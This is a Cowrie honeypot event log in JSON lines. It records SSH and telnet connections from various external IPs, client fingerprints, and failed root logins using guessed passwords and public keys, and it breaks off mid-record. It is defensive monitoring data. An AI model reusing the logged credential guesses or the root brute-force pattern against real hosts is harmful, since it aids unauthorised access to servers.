{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:04.246832Z","src_ip":"103.149.170.125","session":"4f7261acc01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":44076,"dst_ip":"159.203.135.109","dst_port":22,"session":"283e49716ad2","protocol":"ssh","message":"New connection: 94.159.98.239:44076 (159.203.135.109:22) [session: 283e49716ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:07.365055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:07.372040Z","src_ip":"94.159.98.239","session":"283e49716ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:07.498562Z","src_ip":"94.159.98.239","session":"283e49716ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna2004","message":"login attempt [root/anna2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:09.062238Z","src_ip":"94.159.98.239","session":"283e49716ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:10.458561Z","src_ip":"94.159.98.239","session":"283e49716ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.215.165.180","src_port":45301,"dst_ip":"10.17.0.5","dst_port":23,"session":"38029baeadfb","protocol":"telnet","message":"New connection: 178.215.165.180:45301 (10.17.0.5:23) [session: 38029baeadfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:30.718749Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49524,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4033e5ddb2","protocol":"ssh","message":"New connection: 80.66.85.226:49524 (10.17.0.5:22) [session: 5c4033e5ddb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:36.168298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:36.175735Z","src_ip":"80.66.85.226","session":"5c4033e5ddb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:36.265036Z","src_ip":"80.66.85.226","session":"5c4033e5ddb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc1234","message":"login attempt [root/zxc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:36.534524Z","src_ip":"80.66.85.226","session":"5c4033e5ddb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:37.633014Z","src_ip":"80.66.85.226","session":"5c4033e5ddb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":52784,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a0b87e2101","protocol":"ssh","message":"New connection: 68.235.62.179:52784 (10.17.0.5:22) [session: c9a0b87e2101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.363111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.367446Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.400115Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:1d:42:fd:bb:06:07:4d:eb:de:2d:a3:64:68:e4:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAg0UggX076Ka9qfB++sY8TaYJrlCFP+/MLkRbNwH/Ttw2w5tC6qNpeQHa6zd4r7KhSpinCA4ueXwCZ87wr6VodfvelZuU0aDeA+vu1gzUqdUL0MSFiK8TtcFJr2vRrgU0EsTX+ikQfdZ0DO5PIffM8SZIcfClWQ2WfauTbkG/Iv0YeTczsj6oHf0T9vdRAJ2rAaJJIOZdtXBVuKp8IYOYXNavSHtDtYRj1/0o0HdxLjubGbHpK/tThdqsYM91NC/pbLbbV+E1UT8k4jutvMT2f5ukXg/Y0yudAw8rW5r+v8d6nlg8eOM0kgeH3jxKOrESKj/YVlhpk5y/6KL4G2JL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:1d:42:fd:bb:06:07:4d:eb:de:2d:a3:64:68:e4:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.538733Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:1d:42:fd:bb:06:07:4d:eb:de:2d:a3:64:68:e4:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAg0UggX076Ka9qfB++sY8TaYJrlCFP+/MLkRbNwH/Ttw2w5tC6qNpeQHa6zd4r7KhSpinCA4ueXwCZ87wr6VodfvelZuU0aDeA+vu1gzUqdUL0MSFiK8TtcFJr2vRrgU0EsTX+ikQfdZ0DO5PIffM8SZIcfClWQ2WfauTbkG/Iv0YeTczsj6oHf0T9vdRAJ2rAaJJIOZdtXBVuKp8IYOYXNavSHtDtYRj1/0o0HdxLjubGbHpK/tThdqsYM91NC/pbLbbV+E1UT8k4jutvMT2f5ukXg/Y0yudAw8rW5r+v8d6nlg8eOM0kgeH3jxKOrESKj/YVlhpk5y/6KL4G2JL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.542677Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:6a:3c:73:71:a1:90:c4:97:3b:43:e2:0e:e2:da:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrYWBGReuSznQ0+TBCOph6XIMXowEKgfwIjSEdd+DdGicy3smr6Pqiivjmm+qmFvEw/7qbNzg4vB9pXm1mf0GPOJ0h1BAE2FSd/Lx4xJGHwI3RXr5wOCi4MrULAAp6m4h3lejeSnp0hrSqe34Dn4HSILv6jYZ0ThhUnyenzO/Pw6jzFz2RohKsrszE9bycCZCuvrdkdK1UquGnughozcdnsZowafX2aE5msRhNmkdZDro5cbtIYHN3QTSqMBRTTzNqm5mIWn4Ywh93xhdpsO0WEOaVGX3/Y4RTqfIyql5t5UNBs7PzVDFTVtwzJDmJC/zTwLbC0EL5kzHBt6e2NQ0eIE5Al+UbJThIg2oR7nOYp5Fu9N3xdaMXytVxERbPhJ4NRalmbm22Z094T73VrL3IaBIZCO90C9YT2xarTJhvlpzv7aXCwRZAVoKMz7ubIrQ4zChwpV4G2+ymhNgI5/o0tdt1/JDqwzudghQxXBp8I3zZFqMI1jexvycmlgE7G1Yx+Lb9zLJLftFu626vkUVUVOVh5v+LXcBhV+P1vCfu55Wv4n7qBNxiwNNOvq2gpQVYGabgc+RU4mHIpf9t5dcpDIsoHb56i6tluHA4UM1lif2fSH6dqZbWzmfxepAUPHCrvHRMMIRUiQNQXBUKcGn55hA1tPS/6d99jdsbm9ev+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:6a:3c:73:71:a1:90:c4:97:3b:43:e2:0e:e2:da:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.576009Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:6a:3c:73:71:a1:90:c4:97:3b:43:e2:0e:e2:da:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrYWBGReuSznQ0+TBCOph6XIMXowEKgfwIjSEdd+DdGicy3smr6Pqiivjmm+qmFvEw/7qbNzg4vB9pXm1mf0GPOJ0h1BAE2FSd/Lx4xJGHwI3RXr5wOCi4MrULAAp6m4h3lejeSnp0hrSqe34Dn4HSILv6jYZ0ThhUnyenzO/Pw6jzFz2RohKsrszE9bycCZCuvrdkdK1UquGnughozcdnsZowafX2aE5msRhNmkdZDro5cbtIYHN3QTSqMBRTTzNqm5mIWn4Ywh93xhdpsO0WEOaVGX3/Y4RTqfIyql5t5UNBs7PzVDFTVtwzJDmJC/zTwLbC0EL5kzHBt6e2NQ0eIE5Al+UbJThIg2oR7nOYp5Fu9N3xdaMXytVxERbPhJ4NRalmbm22Z094T73VrL3IaBIZCO90C9YT2xarTJhvlpzv7aXCwRZAVoKMz7ubIrQ4zChwpV4G2+ymhNgI5/o0tdt1/JDqwzudghQxXBp8I3zZFqMI1jexvycmlgE7G1Yx+Lb9zLJLftFu626vkUVUVOVh5v+LXcBhV+P1vCfu55Wv4n7qBNxiwNNOvq2gpQVYGabgc+RU4mHIpf9t5dcpDIsoHb56i6tluHA4UM1lif2fSH6dqZbWzmfxepAUPHCrvHRMMIRUiQNQXBUKcGn55hA1tPS/6d99jdsbm9ev+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.579325Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:84:08:73:7c:86:49:18:fc:3b:f9:51:dc:39:53:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFP/tPYLTvmYjsCVE1fm//7jZRVDnq5eoEZLVnX780WqtlD2w9ppsdaYui5jtxYD8aeqWjR5UDm90F0Y6KoJOLyYNXyfVh0eW1gCbUKFqkflPOMPyD67kX7nGtpNOCma3FxiAn6ZZQH7W6/ikoH6g+/6H/tbuKoplvSINkKLsjNHAuyijmntp+gmsWN03FRmJKdT5I1tp6HnMyf2YskM4GKgUtoxWb4OCHVwWK2oiBlHrnYAl8nciWaRDy49LtdmhgdvkMb+W4Zw4MZ7AUrxXqHgHs0r8v8etaEcmyPyefUioFsSJJLJSZWp11hL4Zv1uLMqgqMdCUHozqIwUjm483","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:84:08:73:7c:86:49:18:fc:3b:f9:51:dc:39:53:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.613070Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:84:08:73:7c:86:49:18:fc:3b:f9:51:dc:39:53:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFP/tPYLTvmYjsCVE1fm//7jZRVDnq5eoEZLVnX780WqtlD2w9ppsdaYui5jtxYD8aeqWjR5UDm90F0Y6KoJOLyYNXyfVh0eW1gCbUKFqkflPOMPyD67kX7nGtpNOCma3FxiAn6ZZQH7W6/ikoH6g+/6H/tbuKoplvSINkKLsjNHAuyijmntp+gmsWN03FRmJKdT5I1tp6HnMyf2YskM4GKgUtoxWb4OCHVwWK2oiBlHrnYAl8nciWaRDy49LtdmhgdvkMb+W4Zw4MZ7AUrxXqHgHs0r8v8etaEcmyPyefUioFsSJJLJSZWp11hL4Zv1uLMqgqMdCUHozqIwUjm483","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.615715Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:02:fc:c8:c2:85:66:05:41:96:a3:d2:6b:e9:6f:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgxLXjjCD0uhmpYwgjBJw1Fzsj4GJy8nCgpe1ZcsbOmK/4xn1e/c58nhM4yDt5ve4HbWn3lIgAKixfJ9VtySqpa34E1p5DCZI3GfSo2rUNiDb7F/TaGIuiLPYLbQ1YhohQ8rDrmad1+ghgaaeNHEcPLv5kFAUewBxDNbtdVGmYtHew6fx3ZETJ5303xZS7Ca5QubiC8/uu9biiHLGbSA+KUSPm7MnffbEsg9iuXeIK/6COA5MGk1b4Rpiw4OZ2Ju+Rdm9ut8ky7Cf1xZDfqVkvM8TNcOZPVZwkwlMZivHPRcN2Os40kqu30b2Ia4nF0QUx0kU59r/vlzKMxP46R6Nt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:02:fc:c8:c2:85:66:05:41:96:a3:d2:6b:e9:6f:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.648287Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:02:fc:c8:c2:85:66:05:41:96:a3:d2:6b:e9:6f:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgxLXjjCD0uhmpYwgjBJw1Fzsj4GJy8nCgpe1ZcsbOmK/4xn1e/c58nhM4yDt5ve4HbWn3lIgAKixfJ9VtySqpa34E1p5DCZI3GfSo2rUNiDb7F/TaGIuiLPYLbQ1YhohQ8rDrmad1+ghgaaeNHEcPLv5kFAUewBxDNbtdVGmYtHew6fx3ZETJ5303xZS7Ca5QubiC8/uu9biiHLGbSA+KUSPm7MnffbEsg9iuXeIK/6COA5MGk1b4Rpiw4OZ2Ju+Rdm9ut8ky7Cf1xZDfqVkvM8TNcOZPVZwkwlMZivHPRcN2Os40kqu30b2Ia4nF0QUx0kU59r/vlzKMxP46R6Nt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.651854Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:11:00:ce:9b:6c:22:16:cd:c1:7f:8a:34:52:60:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBioMRtsErU4vP2eFRsvMhu49lPn99rcTA9vJyU7KfqKA3pfYLDgDp3Emktnv6JAvsA9fAJ9WvU2QPHe8JBo25NG+qoB08kY3e9rbfTLEQHqEYJTuIz4fy4BI7PlyYrUy0BhavgkoMr3Qw+lVTrhswFiEIGnDlsDVcFfEiGuvS/+QyVzZzp49LOCHg+ewZSr7XkE7fF+uMvE3zAHpimsuhj8flaaFtj+l4l0F/mxw5Xuc3FIjm50Af27cC3UmGcrQx1RHGwI5zJViDvpZGg/WWXXGYSdLtLVxOVpuFG126FHeU3F70FhrkKs13eTDa+YAf1i1IiL2VrRe8WU7+Lgil","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:11:00:ce:9b:6c:22:16:cd:c1:7f:8a:34:52:60:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.684754Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:11:00:ce:9b:6c:22:16:cd:c1:7f:8a:34:52:60:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBioMRtsErU4vP2eFRsvMhu49lPn99rcTA9vJyU7KfqKA3pfYLDgDp3Emktnv6JAvsA9fAJ9WvU2QPHe8JBo25NG+qoB08kY3e9rbfTLEQHqEYJTuIz4fy4BI7PlyYrUy0BhavgkoMr3Qw+lVTrhswFiEIGnDlsDVcFfEiGuvS/+QyVzZzp49LOCHg+ewZSr7XkE7fF+uMvE3zAHpimsuhj8flaaFtj+l4l0F/mxw5Xuc3FIjm50Af27cC3UmGcrQx1RHGwI5zJViDvpZGg/WWXXGYSdLtLVxOVpuFG126FHeU3F70FhrkKs13eTDa+YAf1i1IiL2VrRe8WU7+Lgil","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.688125Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:39.719955Z","src_ip":"68.235.62.179","session":"c9a0b87e2101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37978,"dst_ip":"159.203.135.109","dst_port":22,"session":"99ef82204eb2","protocol":"ssh","message":"New connection: 103.172.78.219:37978 (159.203.135.109:22) [session: 99ef82204eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:26.551843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:26.556678Z","src_ip":"103.172.78.219","session":"99ef82204eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:26.811497Z","src_ip":"103.172.78.219","session":"99ef82204eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123423","message":"login attempt [root/123423] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:27.577749Z","src_ip":"103.172.78.219","session":"99ef82204eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46204,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c718756643","protocol":"ssh","message":"New connection: 103.122.221.179:46204 (10.17.0.5:22) [session: 26c718756643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:27.730236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:51:27.739245Z","src_ip":"103.122.221.179","session":"26c718756643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-